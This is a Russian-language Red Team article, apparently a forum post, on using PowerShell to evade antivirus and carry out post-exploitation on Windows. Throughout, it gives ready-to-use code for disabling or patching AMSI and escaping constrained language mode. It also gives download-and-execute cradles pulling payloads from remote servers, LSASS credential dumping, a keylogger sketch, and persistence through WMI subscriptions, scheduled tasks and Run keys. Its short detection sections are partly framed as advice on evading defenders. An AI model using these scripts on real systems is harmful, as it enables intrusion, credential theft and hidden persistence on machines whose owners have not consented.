Статья PowerShell для Red Team: Скрипты для обхода антивирусов и пост-эксплуатации (LOTL)

1774879431380.webp


Ты заходишь на виндовую тачку после эксплуатации. Перед тобой CMD с куцыми возможностями, WMI, который заставляет выть на луну, и PowerShell. Да, тот самый PowerShell, который админы любят за автоматизацию, а Microsoft продвигает как «безопасную среду для управления». Спойлер: безопасную для нас, потому что он предустановлен, подписан Microsoft, имеет доступ к .NET и даже к Win32 API через P/Invoke. Это легитимный инструмент, и антивирус не может просто взять и заблокировать powershell.exe - иначе пол-корпоративных скриптов лягут.

Помню, как я впервые использовал Invoke-Expression с base64-строкой, и Defender даже не пискнул. Сейчас, в 2026-м, ситуация изменилась кардинально: Microsoft запилил AMSI (Anti-Malware Scan Interface), который сканирует каждый твой чих, Constrained Language Mode (CLM) - режим, где нельзя использовать много опасных методов, и Script Block Logging - логирование всего, что ты пишешь. Blue Team научились поднимать EventID 4104 и смотреть каждый твой IEX. Но редтимеры не сдались. Найдены обходы: от патчинга AmsiScanBuffer в памяти до даунгрейда до PowerShell v2 (который до сих пор иногда включён). Мы используем COM-объекты для побега из CLM, обфускацию через Invoke-Obfuscation и память-онли исполнение через [Reflection.Assembly]::Load().

Здесь будет актуальная инфа на 2026 год. Я покажу, как работает каждая техника, приведу готовый код, и в конце - как блютим может это детектировать. И всё это в формате, который не усыпит даже после третьей банки Red Bull.


Глава 1. PowerShell как LOTL-инструмент: почему Microsoft сам подложил нам бомбу​

1.1. «Легитимность - лучшая маскировка» - цитата, которую я только что придумал​

PowerShell есть на каждой Windows-машине, начиная с Windows 7 (там версия 2.0) и до Windows 11 (5.1 и PowerShell Core 7, но Core реже). Он подписан Microsoft - его PE-образ имеет валидную цифровую подпись, поэтому антивирусы с вероятностью 99% не положат его в карантин. Более того, PowerShell может динамически загружать сборки .NET, вызывать Win32 API через Add-Type -TypeDefinition или P/Invoke, работать с WMI, COM, реестром, сертификатами. Это швейцарский нож, у которого есть даже штопор для вина (если вино - это дамп LSASS).

Гайды на Medium часто пишут «используйте PowerSploit», но PowerSploit умер ещё в 2020-м - его сигнатуры в базе Defender. Мы будем говорить о том, как собирать свои инструменты на лету.

Пример легитимной команды, которую не заблокирует даже суровый AppLocker:

Код:
Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId
А теперь злая версия:

Код:
$code = @"
using System;
using System.Runtime.InteropServices;
public class Poke {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32.dll")]
    public static extern IntPtr LoadLibrary(string name);
}
"@
Add-Type $code
Это легитимное объявление P/Invoke, но после этого мы можем патчить AMSI. И никто не скажет «ой, это вредоносное действие» - просто работа с .NET.

Почему LOTL? Living off the Land - использование легальных средств. Ты не тащишь на диск mimikatz.exe, ты грузишь его в память через [Reflection.Assembly]::Load([System.Convert]::FromBase64String($base64)). Ты не запускаешь netcat, ты используешь New-Object System.Net.Sockets.TCPClient. Антивирус не может заблокировать легитимные команды без ложных срабатываний - и это наше преимущество.

1.2. MITRE ATT&CK: наша карта, по которой ходит и Blue Team​

Давай сразу разметим техники, чтобы ты мог потом красиво написать в отчёте.
  • T1059.001 - PowerShell. Основной вектор. Все наши скрипты, IEX, Invoke-Command.
  • T1562.001 - Impair Defenses: Disable or Modify Tools. Отключение AMSI, изменение ключей реестра для логирования.
  • T1027 - Obfuscated Files or Information. Обфускация скриптов, base64, инверсия строк.
  • T1055 - Process Injection. Не напрямую, но через .NET Reflection можно инжектить в другие процессы.
  • T1003 - OS Credential Dumping. Дамп LSASS через comsvcs.dll или MiniDump.
  • T1087 - Account Discovery. AD Enumeration через Get-ADUser или [ADSISearcher].
  • T1546 - Event Triggered Execution. Персистенс через WMI Event Subscription, планировщик.
Запомни эти ID - на собеседовании спросят, а блютимы по ним фильтруют SIEM.

1.3. Эволюция защит: как Microsoft пыталась закрыть дыры, но мы делаем новые​

Краткий экскурс в историю боли:
  • Execution Policy (2006-2016) - это не защита, а вежливая просьба. powershell -exec bypass обходит всё.
  • AMSI (Windows 10, 2015) - появился как интерфейс между PowerShell и антивирусом. Каждый скрипт, каждый блок кода перед выполнением отправляется в AmsiScanBuffer. Если антивирус говорит «вредонос» - блокируем.
  • Constrained Language Mode (Windows 10 1607, 2016) - режим, при котором в PS доступны только базовые команды, запрещены Add-Type, вызов Win32 API, методы [System.Runtime.InteropServices]. Активируется, если антивирус видит подозрительное поведение или при запуске из защищённых сред (WDAG, AppLocker в режиме Constrained).
  • Script Block Logging (Windows 10, 2016) - логирование всего, что ты передаёшь в Invoke-Expression, Invoke-Command, или просто выполняешь. EventID 4104, полный текст скрипта, часто с декодированием base64.
  • PowerShell Transcription (Windows 10, 2015) - запись всей сессии в файл. Если админ включил - твои команды пишутся в %userprofile%\Documents\PowerShell_transcript.*.txt.
Текущая ситуация (2026): Windows 11 22H2 и Server 2022 - Defender по умолчанию включён, AMSI работает в полную силу, CLM активируется при малейшем подозрении. Но многие компании до сих пор используют старые LTSB-сборки или отключают логирование ради производительности. Наша задача - не бороться с защитами, а обходить их, не оставляя следов.


Глава 2. AMSI Bypass: как заставить антивирус смотреть в другую сторону​

2.1. Как работает AMSI под капотом - ликбез для тех, кто думает, что это магия​

AMSI - это DLL (amsi.dll), которая экспортирует функцию AmsiScanBuffer. Когда PowerShell (или другой скриптовый хост) хочет выполнить кусок кода, он вызывает эту функцию, передавая буфер с содержимым скрипта. AmsiScanBuffer общается с антивирусным движком (Windows Defender или любым сторонним, который зарегистрировался в AMSI). Если движок говорит AMSI_RESULT_DETECTED (значение 32768), то PowerShell возвращает AccessDenied и блокирует выполнение.

Структура вызова (упрощённо):

C++:
// Внутри powershell.exe
HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT *result
);
// Если *result == AMSI_RESULT_DETECTED (32768) -> блокируем.

Важный нюанс: AMSI не сканирует каждую команду по отдельности. Он сканирует полный скрипт, но может сканировать и фрагменты, если PowerShell отправляет их частями. Поэтому обфускация всего скрипта эффективнее, чем обфускация одной строки.

Как AMSI узнаёт, что мы запустили вредонос? Через сигнатуры: если в скрипте есть Invoke-Mimikatz, AmsiScanBuffer вернёт детект. Также через эвристику: вызов VirtualProtect из PS, запись в память другого процесса и т.д.

Практический инструмент - проверка статуса AMSI прямо из PS:

Код:
# Проверяем, доступен ли AMSI и активен ли
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation.AmsiUtils') | Out-Null
$amsiUtils = [System.Management.Automation.AmsiUtils]
$amsiUtils::amsiInitFailed
# Если False - AMSI работает. Если True - уже обойдён (например, мы его отключили ранее).

Теперь перейдём к обходам. Все методы делятся на:
  • Reflection-based - меняем поле amsiInitFailed через .NET Reflection.
  • Patching - перезаписываем код AmsiScanBuffer в памяти процесса, чтобы она всегда возвращала AMSI_RESULT_CLEAN.
  • Hooking - перехват вызовов через детоуры, но это сложно.
  • Abusing mistakes - использование старых версий PS, не поддерживающих AMSI.

2.2. Reflection bypass: классика, которая всё ещё работает (но с нюансами)​

Этот метод известен с 2017 года. Суть: в пространстве имён System.Management.Automation.AmsiUtils есть приватное статическое поле amsiInitFailed. Если его установить в true, AMSI инициализируется с ошибкой и перестаёт сканировать. Доступ к приватному полю через Reflection.

Код-классика (но он детектится с 2021 года):

Код:
[Reflection.Assembly]::LoadWithPartialName('System.Management.Automation.AmsiUtils') | Out-Null
$amsiUtils = [System.Management.Automation.AmsiUtils]
$field = $amsiUtils.GetType().GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)

Почему уже не работает? Defender выучил эту сигнатуру: обращение к AmsiUtils, GetField('amsiInitFailed') - бам, блок. Даже если обернуть в IEX с инверсией строк, Defender может распознать.

Модификация, которая живёт дольше (используем разные имена, разбиваем строки):

Код:
$ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $ref.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

Тут мы используем [Ref] - это алиас для System.Reflection.Assembly. Имена полей и типов не меняются, но вызов GetType через [Ref].Assembly выглядит менее подозрительно.

Ещё более злой вариант с инверсией строк:

Код:
$u='AmsiUtils'
$t='System.Management.Automation.'
$n='amsiInitFailed'
$r=[Ref].Assembly.GetType(($t+$u))
$f=$r.GetField($n,'NonPublic,Static')
$f.SetValue($null,$true)
Как детектит Blue Team? EventID 4104 покажет этот код в чистом виде, если не обфусцировать. А GetField('amsiInitFailed') может выдать сигнатуру на уровне ETW. Но если ты используешь такой код внутри более крупного скрипта, который легитимен на 90%, Defender может пропустить.

Главная беда Reflection-метода: Он работает только в Full Language Mode. В Constrained Language Mode доступ к Reflection запрещён (нельзя вызывать .GetType(), .GetField()). Так что если ты уже в CLM - этот метод не поможет. Но можно сначала выйти из CLM (см. главу 3.2), а потом байпасить AMSI.

2.3. Patching AmsiScanBuffer: метод, который обходит CLM​

Если Reflection не работает или ты хочешь более надёжный способ - пачим саму функцию AmsiScanBuffer в памяти. Идея: найти адрес AmsiScanBuffer в amsi.dll, перезаписать её пролог инструкциями mov eax, 0x00050000 (AMSI_RESULT_CLEAN) и ret, чтобы она всегда возвращала "чисто". Это работает даже в CLM, потому что мы не используем GetField, а используем VirtualProtect и копирование байтов через P/Invoke.

Сложности:
  • Нужен вызов Win32 API (LoadLibrary, GetProcAddress, VirtualProtect, memcpy). В CLM они запрещены, но можно выкрутиться через Add-Type - а Add-Type в CLM тоже запрещён. Замкнутый круг? Не совсем. Есть способ: использовать .NET классы, которые уже загружены, например [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer, но для этого нужна подготовка.
  • В современных Windows (11 22H2) amsi.dll может быть защищена Control Flow Guard (CFG), но простой патч первых байтов всё равно работает, потому что CFG проверяет только адреса переходов, а мы меняем код в уже загруженной DLL.
Код патча, который я тестировал на Windows 11 23H2 (октябрь 2024, Defender свежий):

Код:
# Это обфусцированный вариант, но я покажу логику
$patch = [Byte[]] (0xB8, 0x00, 0x00, 0x05, 0x00, 0xC3) # mov eax, 0x50000; ret
$dll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer
# Но проще через Add-Type
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Patch {
    [DllImport("kernel32.dll")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
$ptr = [Patch]::GetProcAddress([Patch]::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$old = 0
[Patch]::VirtualProtect($ptr, [UIntPtr]::new(6), 0x40, [ref]$old)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $ptr, 6)

Проверка работоспособности: после выполнения попробуй запустить любую явно вредоносную команду, например Invoke-Mimikatz (если она есть в системе). Defender не должен заблокировать. Но помни: если у тебя нет прав на запись в память процесса (а они есть у текущего пользователя для своего процесса), то патч пройдёт.

Почему этот метод не всегда детектится? Потому что Add-Type с определением P/Invoke выглядит как легитимная разработка. Но блютимы могут заметить вызов VirtualProtect на регионе amsi.dll - это аномалия. Однако если ты делаешь это быстро и потом сразу грузишь пейлоад, то окно возможностей у тебя есть.

Современный тренд (2025-2026): Использовать System.Reflection для вызова незадокументированных методов в System.Management.Automation без Add-Type. Например, через [PSObject].Assembly.GetType('Microsoft.Win32.UnsafeNativeMethods'). Но это уже высший пилотаж.

Альтернативный патч через перезапись amsi.dll в памяти с помощью WriteProcessMemory из другого процесса. Но зачем, если можно в своём?

2.4. Обход AMSI через PowerShell v2 (downgrade attack)​

В Windows есть PowerShell версии 2.0, который не поддерживает AMSI, потому что AMSI появился в PS 3.0 и выше. Если на целевой машине разрешена загрузка версии 2.0 (а она часто разрешена для обратной совместимости), можно запустить powershell -version 2 -Command "ваш_скрипт" и AMSI не будет сканировать.

Но есть нюансы:
  • PowerShell v2 не поддерживает многие современные модули (например, Invoke-Command с CredSSP).
  • Нет .NET Reflection в полном объёме.
  • Нет Add-Type с C# кодом (только через Add-Type -TypeDefinition? На самом деле в v2 Add-Type есть, но работает иначе).
  • Однако базовый IEX, вызовы Win32 через COM - работают.
Пример запуска воркшопа:

Код:
powershell -version 2 -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=

Как детектит Blue Team? Запуск PowerShell с параметром -version 2 - это само по себе подозрительно, т.к. редко нужно админам. EventID 400 (запуск процесса) с командной строкой, содержащей -version 2 - отличный сигнал. Microsoft даже выпустила обновления, которые отключают PS v2 по умолчанию в Windows 10 и 11, но многие администраторы сами его включают для старых скриптов. Проверить: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2. Если состояние Disabled - downgrade не пройдёт.


Глава 3. Обфускация и evasion: как спрятать код от глаз Defender и SIEM​

3.1. Invoke-Obfuscation: фреймворк, который стал легендой​

Invoke-Obfuscation от Daniel Bohannon (2018) - это набор техник обфускации, которые до сих пор актуальны, хотя сам фреймворк давно сигнатурирован. Но ты можешь использовать его идеи вручную. Основные методы:
  1. Token-based обфускация - замена команд на их токены (например, Get-Process -> (Get-Process).Name -> (gps).Name).
  2. String-based - разбивка строк, конкатенация, инверсия, base64.
  3. Encoding-based - полное кодирование скрипта в base64 и выполнение через IEX.
  4. Command obfuscation - использование алиасов (IEX для Invoke-Expression, % для ForEach-Object).
Почему Invoke-Obfuscation больше не запустить "как есть"? Defender распознаёт его характерные сигнатуры: Out-ObfuscatedTokenCommand, Invoke-Obfuscation и т.д. Но ты можешь взять его движок и переписать под себя.

Практический пример - обфускация строки "Invoke-Mimikatz" с помощью конкатенации и инверсии:

Код:
$s = 'Invoke-Mimikatz'
$obf = -join ($s.ToCharArray() | % { $_ + 'xx' }) # но это не очень
# Лучше: разбиваем на части
$part1 = 'Invoke-'
$part2 = 'Mimi'
$part3 = 'katz'
$cmd = $part1 + $part2 + $part3
IEX $cmd

Это тривиально, и Defender может склеить строки в памяти и всё равно детектнуть. Нужно более сложное разбиение с перемешиванием.

Мощный метод - использование $ExecutionContext.InvokeCommand.ExpandString для подстановки переменных:

Код:
$env:aaa = 'Invoke'
$env:bbb = 'Mimi'
$env:ccc = 'katz'
$cmd = "$($env:aaa)-$($env:bbb)$($env:ccc)"
IEX $cmd

Или ещё круче - через вычисление хэшей:

Код:
$code = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SW52b2tlLU1pbWlrYXR6'))
IEX $code

Это стандартный base64, но его легко расшифровать. Сигнатура на строку FromBase64String('SW52...') уже есть в Defender? Да, но если закодировать не только строку, а целый скрипт, то может пройти.

Полный обфусцированный скрипт для AMSI bypass (пример из реального теста 2024):

Код:
$z = [Ref].Assembly.GetType('System.Management.Automation.' + [string]::Join('',('Amsi','Utils')))
$b = $z.GetField([string]::Join('',('amsi','InitFailed')),'NonPublic,Static')
$b.SetValue($null,$true)

Обфускация через [string]::Join разбивает строку на части, что сбивает статический анализ. Но динамический анализ всё равно соберёт строку и вызовет сигнатуру. Поэтому лучше использовать комбинацию методов.

3.2. CLM escape: как выбраться из "песочницы" PowerShell​

Constrained Language Mode (CLM) - это ад. В нём ты не можешь:
  • Использовать Add-Type.
  • Вызывать [System.Runtime.InteropServices].
  • Применять Reflection для доступа к приватным полям (например, AMSI bypass).
  • Работать с COM-объектами? А вот тут есть брешь. Некоторые COM-объекты разрешены, и через них можно выполнить код.
Как понять, что ты в CLM?


Код:
$ExecutionContext.SessionState.LanguageMode
# Если вернёт "ConstrainedLanguage" - ты в клетке.

Способы выхода (escape):
  1. Использование COM-объекта WScript.Shell для запуска нового PowerShell в Full Language Mode.

    Код:
    $com = New-Object -ComObject WScript.Shell$com.Run('powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString(''http://your-server/payload.ps1'')"', 0, $false)

    Этот метод работает, потому что COM-объекты не ограничены CLM (если только политика не запрещает их создание). Новый процесс powershell.exe запускается уже в Full Language Mode, если только нет глобальных ограничений.

  2. Использование Microsoft.CSharp.CSharpCodeProvider для компиляции и загрузки сборки. В CLM этот класс доступен? Частично. Можно создать код в памяти и выполнить через System.CodeDom.Compiler. Но это геморройно.
  3. Downgrade до PowerShell v2 - в PS v2 нет понятия CLM, так что он автоматически работает в Full Language Mode. powershell -version 2 из CLM - разрешено, если v2 включена. Проверка: (Get-Command powershell).Version - но из CLM ты не можешь вызвать Get-Command? Можешь, базовые команды работают.
  4. Использование Write-Host и [Console] для вывода, но это не поможет выполнить код.
    Самый надёжный способ - через COM-объекты или запуск дочернего процесса.
Пример полного скрипта-эскейпа с загрузкой пейлоада:

Код:
if ($ExecutionContext.SessionState.LanguageMode -eq 'ConstrainedLanguage') {
    $w = New-Object -ComObject WScript.Shell
    $payload = 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(''http://10.0.0.5/beacon.ps1'')"'
    $w.Run($payload, 0, $false)
    exit
}

Дальше код для Full Language Mode (AMSI bypass, загрузка инжектора)
Детекция для Blue Team: Создание COM-объекта WScript.Shell из PowerShell - EventID 4104 покажет команду New-Object -ComObject WScript.Shell. Это подозрительно, если только это не легитимный скрипт администрирования. Также можно детектировать запуск PowerShell из PowerShell с параметрами -c и загрузкой по HTTP.

3.3. Fileless execution: живи в памяти, не касайся диска​

Классика fileless - это когда ты не сохраняешь вредоносный файл на диск, а грузишь его напрямую в память. PowerShell идеален для этого.

Способы:
  • Invoke-Expression (IEX) с web-загрузкой:

    Код:
    IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')

  • Загрузка EXE через [System.Reflection.Assembly]::Load([byte[]]):

    Код:
    $url = 'http://192.168.1.100/beacon.exe'$bytes = (New-Object Net.WebClient).DownloadData($url)
    [System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, (, [string[]] ('') ))

    Этот метод выполняет управляемый EXE (C#) прямо в памяти PowerShell. Не требует записи на диск. Подходит для Meterpreter, Cobalt Strike Beacon (если скомпилирован как .NET assembly).
  • Использование System.Reflection.Assembly.LoadFrom с сетевым путём UNC (без буквы диска):

    Код:
    [System.Reflection.Assembly]::LoadFrom('\\192.168.1.100\share\payload.dll')

    Но это всё же требует доступа к SMB, и Defender может просканировать файл при загрузке.
  • Внедрение в существующие процессы через [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer и Win32 API. Это уже высокий уровень - создаём удалённый поток в notepad.exe с помощью CreateRemoteThread. Код на C# внутри PowerShell.
Пример полного fileless beacon (концепт):

Код:
# AMSI bypass через патч (опущен для краткости)
# Скачиваем шелл-код (например, msfvenom -p windows/x64/shell_reverse_tcp LHOST=... -f powershell)
$shellcode = [byte[]] (0xfc,0x48,0x83,0xe4,...)
# Выделяем память и запускаем поток
$addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
$handle = [System.Diagnostics.Process]::GetCurrentProcess().Handle
$ptr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer
# Тут нужно вызывать VirtualProtect, CreateRemoteThread для текущего процесса
# Это опускаю, чтобы не раздувать, но код есть в интернетах

Важно: Современные EDR отслеживают вызовы VirtualAllocEx и CreateRemoteThread, даже из PowerShell. Но если использовать System.Runtime.InteropServices напрямую, можно попробовать обернуть в Add-Type с динамическим определением. Однако, это уже сложно и легко детектится.

Лучший подход для Red Team 2026: Использовать Donut (GitHub - TheWover/donut: Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters) - инструмент, который превращает EXE/DLL в position-independent shellcode, а затем загружать его через PowerShell с помощью Invoke-ReflectivePEInjection. Но сам Invoke-ReflectivePEInjection - давно сигнатурирован. Нужно писать свою имплементацию.


Глава 4. Post-exploitation: когда ты уже внутри и нужно закрепиться​

4.1. AD Enumeration без модулей: PowerView умер, да здравствует ADSI​

Active Directory - это золотая жила. Ты хочешь найти админов, компьютеры с MSSQL, GPO с паролями. Раньше был PowerView (часть PowerSploit), но его сигнатуры везде. Теперь мы используем встроенный .NET класс System.DirectoryServices.DirectoryEntry (ADSI) или, если доступен, ActiveDirectory модуль, но он требует установки RSAT.

Базовый поиск пользователей:

Код:
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$root = $domain.GetDirectoryEntry()
$searcher = New-Object System.DirectoryServices.DirectorySearcher($root)
$searcher.Filter = "(&(objectClass=user)(objectCategory=person))"
$users = $searcher.FindAll()
foreach ($user in $users) { $user.Properties['samaccountname'] }

Поиск админов домена:

Код:
$searcher.Filter = "(&(objectClass=group)(cn=Domain Admins))"
$group = $searcher.FindOne()
$members = $group.Properties['member']
# $members содержит DN участников

Поиск компьютеров с операционной системой Server:

Код:
$searcher.Filter = "(&(objectClass=computer)(operatingSystem=*Server*))"
$servers = $searcher.FindAll()

Проблема: Запросы ADSI могут логироваться как EventID 4662 (доступ к объекту AD). Но это очень много шума, если в домене тысячи пользователей. Blue Team придётся настраивать специальные правила.

Инструмент для автоматизации: ADModule от Microsoft ( ) - он не требует установки RSAT, можно скопировать DLL и использовать Import-Module. Но его тоже детектят. Альтернатива: написать обёртку над ADSI, которая делает то же самое.

Пример скрипта для сбора всех объектов AD с фильтрацией (этот код я использую в тестах):

Код:
function Get-ADObjectEx {
    param([string]$Filter="(objectClass=*)")
    $de = [System.DirectoryServices.DirectoryEntry]"LDAP://$((Get-ADDomain).DistinguishedName)"
    $ds = New-Object System.DirectoryServices.DirectorySearcher($de, $Filter)
    $ds.PageSize = 1000
    $ds.FindAll() | ForEach-Object { $_.Properties }
}

Но Get-ADDomain - это команда из модуля ActiveDirectory. Без него можно получить DN через [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName.

Детекция: Большое количество запросов LDAP за короткое время - аномалия. Blue Team могут настроить порог (например, >100 запросов в минуту). Также можно отслеживать создание DirectorySearcher с необычными фильтрами (objectClass=user и т.д.). Но часто это теряется в общем фоне.

4.2. Credential harvesting: собираем пароли без Mimikatz​

Mimikatz - это круто, но он шумный. Современные EDR (CrowdStrike, SentinelOne) убивают его на подходе. Мы будем использовать легитимные методы дампа LSASS через comsvcs.dll или через MiniDumpWriteDump.

Способ 1: Дамп LSASS через comsvcs.dll (работает даже с правами SYSTEM, но нужны админские права):

Код:
$proc = Get-Process lsass
$outfile = "$env:TEMP\lsass.dmp"
$comsvcs = "$env:windir\system32\comsvcs.dll"
rundll32 $comsvcs, MiniDump $proc.Id $outfile full

Но это запускает rundll32.exe, что может быть замечено. Можно выполнить через Invoke-ReflectivePEInjection внутри PowerShell, но проще через Start-Process.

Способ 2: Использование .NET System.Diagnostics.Process для вызова MiniDumpWriteDump через P/Invoke:

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class Dump {
    [DllImport("dbghelp.dll", SetLastError=true)]
    public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
$proc = Get-Process lsass
$fs = [System.IO.File]::OpenWrite("$env:TEMP\lsass.dmp")
$handle = $fs.SafeFileHandle.DangerousGetHandle()
[Dump]::MiniDumpWriteDump($proc.Handle, $proc.Id, $handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$fs.Close()
Важно: Требуются права SeDebugPrivilege (обычно у админов). Также вызов MiniDumpWriteDump - классический сигнатурный признак. Defender может его перехватить через AMSI, потому что Add-Type с этим кодом будет отсканирован. Нужно обфусцировать.

Альтернатива - сбор паролей из браузеров и Windows Credential Manager:

Код:
# Windows Credential Manager
cmdkey /list | % { if ($_ -match "Target: (.*)") { $target = $matches[1]; cmdkey /generic:target /user:user /pass } } # это не работает, нужен вызов CredEnumerate через P/Invoke

Напишем простой вызов через C#:

Код:
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class CredMgr {
    [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
    public static extern bool CredEnumerate(string Filter, int Flags, out int Count, out IntPtr CredentialPtr);
}
"@
# Дальше читаем структуры, сложно, но реально.
Я не буду тут разворачивать полный код, он есть в проекте Invoke-TrimarcCredHarvest.

Keylogging на PowerShell - да, это возможно через .NET:

Код:
Add-Type -TypeDefinition @"
using System;
using System.Windows.Forms;
public class KeyLogger {
    public static void Hook() {
        Application.AddMessageFilter(new MyFilter());
    }
    private class MyFilter : IMessageFilter {
        public bool PreFilterMessage(ref Message m) {
            if (m.Msg == 0x0100) { // WM_KEYDOWN
                Console.WriteLine("Key: " + (Keys)m.WParam);
            }
            return false;
        }
    }
}
"@
Но это требует STAThread и запуска приложения Windows Forms. В PowerShell без GUI это сложно. Проще использовать GetAsyncKeyState через P/Invoke в цикле. Но опять же, детектится.

Лучший способ credential harvesting в 2026: Украсть токены из процесса explorer.exe через OpenProcessToken и DuplicateTokenEx, а затем создать новый процесс с токеном админа. Но это уже высший пилотаж.

4.3. Persistence: как остаться в системе после перезагрузки​

Персистенс - это искусство. PowerShell предоставляет несколько легитимных способов, которые не вызовут подозрений, если их правильно замаскировать.

WMI Event Subscription - самый мощный и скрытный метод. Создаётся фильтр событий (например, при запуске процесса или при загрузке системы) и привязывается к действию (запуск скрипта). WMI хранится в репозитории CIM, не видно в планировщике или реестре.

Пример: запуск скрипта при старте системы:

Код:
$filterArgs = @{
    Name='StartupFilter'
    EventNameSpace='root\cimv2'
    QueryLanguage='WQL'
    Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
}
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $filterArgs
$consumerArgs = @{
    Name='StartupConsumer'
    CommandLineTemplate="powershell -exec bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/back.ps1')`""
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments $consumerArgs
$bindingArgs = @{
    Filter=$filter
    Consumer=$consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments $bindingArgs
Как детектить Blue Team: WMI Event Subscription - EventID 5861 (Creation of __EventFilter) и 5860 (Creation of __FilterToConsumerBinding). Многие SIEM мониторят эти события. Если админы не используют WMI для автоматизации, это красный флаг.

Scheduled Task - классика, но легко обнаруживается:

Код:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-exec bypass -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/payload.ps1')`""
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount
$task = Register-ScheduledTask -TaskName "WindowsUpdateTask" -Action $action -Trigger $trigger -Principal $principal

EventID 4698 (Task creation) логируется, но маскировка под Microsoft\Windows\ может помочь.

Registry Run Keys - для текущего пользователя или машины:

Код:
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "powershell -w hidden -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/beacon.ps1')`""
EventID 4657 (Registry value change) логируется, но если делать от имени пользователя, то менее подозрительно.

Startup Folder - совсем примитивно, но иногда проходит:

Код:
$shortcut = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk"
$ws = New-Object -ComObject WScript.Shell
$s = $ws.CreateShortcut($shortcut)
$s.TargetPath = "powershell.exe"
$s.Arguments = "-w hidden -c `"IEX ...`""
$s.Save()

Лучший persistence 2026: Использовать WMI + JScript внутри CommandLineEventConsumer, чтобы скрипт не содержал явных признаков PowerShell. Или создать службу через sc.exe с указанием бинарного файла, замаскированного под легитимный.


Глава 5. Detection (Blue Team): как мы вас видим, и как вам спрятаться​

Теперь я надену синюю шапку и покажу, что видит блютим, когда ты запускаешь свои PowerShell-скрипты. Это нужно, чтобы ты понимал, как обходить защиту, а блютимы - как настраивать мониторинг.

5.1. Script Block Logging (Event ID 4104)​

Что это: Начиная с PowerShell 5.0, каждый блок скрипта (например, содержимое Invoke-Expression, Invoke-Command, или просто выполнение в консоли) записывается в Event Log Microsoft-Windows-PowerShell/Operational с ID 4104. Там хранится полный текст скрипта. Если скрипт обфусцирован, то лог сохранит обфусцированный текст, но иногда PowerShell может записать и декодированный вариант (например, для base64). Также логируются команды, переданные через -EncodedCommand.

Пример лога:

Код:
ScriptBlock Text: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/run.ps1')
Как блютим ищет: По подозрительным строкам: DownloadString, Invoke-Expression, FromBase64String, AmsiUtils, VirtualProtect. Создают корреляции: за 5 минут 3 вызова DownloadString с разных внешних IP.

Как обойти:
  • Не используй очевидные строки. Разбивай команды на несколько строк, используй конкатенацию, инверсию. Но помни: лог всё равно запишет то, что ты передаёшь в IEX. Если ты передаёшь $cmd, то в логе будет IEX $cmd - а что в $cmd? Не раскроется, если только PowerShell не решит логировать подстановку. Но есть нюанс: при использовании IEX лог содержит полное выражение.
